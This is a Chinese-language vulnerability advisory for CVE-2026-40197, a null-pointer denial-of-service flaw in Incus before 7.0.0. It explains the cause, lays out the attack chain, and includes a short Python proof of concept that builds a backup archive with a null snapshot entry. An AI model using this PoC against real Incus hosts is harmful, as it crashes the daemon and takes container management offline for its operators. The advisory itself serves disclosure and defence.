IPBUF安全漏洞报告
English
CVE-2026-40197 CVSS 6.5 中危

CVE-2026-40197 Incus空指针拒绝服务漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-40197
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Incus

相关标签

拒绝服务空指针解引用Incus容器管理DoS

漏洞概述

Incus在7.0.0版本前存在安全漏洞,攻击者可利用存储卷导入功能的验证缺失,通过特制的备份文件触发空指针解引用,导致守护进程崩溃及拒绝服务。

技术细节

该漏洞源于Incus处理自定义卷备份导入时的逻辑缺陷。在快照导入循环中,守护进程遍历`srcBackup.Config.VolumeSnapshots`切片并直接解引用字段(如`Name`、`Config`),未预先检查元素是否为nil。由于YAML解析器接受攻击者控制的`index.yaml`中的显式null元素,并将其转换为切片内的nil指针,当经过认证的用户上传包含此类空条目的恶意备份时,守护进程会因解引用nil指针而崩溃。此漏洞可被反复利用以维持拒绝服务状态。

攻击链分析

STEP 1
1. 获取访问权限
攻击者需要一个具有Incus存储卷访问权限的低权限账户。
STEP 2
2. 构造恶意备份
攻击者创建一个备份存档,其中包含一个伪造的index.yaml文件,该文件的volume_snapshots数组中包含一个null元素。
STEP 3
3. 触发导入
攻击者通过Incus API或客户端工具上传并触发该恶意自定义卷备份的导入操作。
STEP 4
4. 触发漏洞
Incus守护进程解析YAML文件,在遍历快照列表时遇到nil指针并尝试解引用,导致进程崩溃。
STEP 5
5. 拒绝服务
守护进程终止,导致容器管理服务不可用。攻击者可重复此过程以维持DoS状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import tarfile import io import yaml # Generate malicious index.yaml # Inject a null entry into volume_snapshots malicious_config = { 'volume_snapshots': [ None, # The nil-pointer trigger {'name': 'snap1', 'created_at': '2023-01-01'} ] } yaml_data = yaml.dump(malicious_config) # Create a tarball (simulating an Incus backup) with tarfile.open('malicious_backup.tar.gz', 'w:gz') as tar: info = tarfile.TarInfo(name='index.yaml') info.size = len(yaml_data.encode()) tar.addfile(info, io.BytesIO(yaml_data.encode())) print('Exploit archive generated.')

影响范围

Incus < 7.0.0

防御指南

临时缓解措施
如果无法立即升级,请严格限制对存储卷导入功能的访问,并仅从可信来源导入备份文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表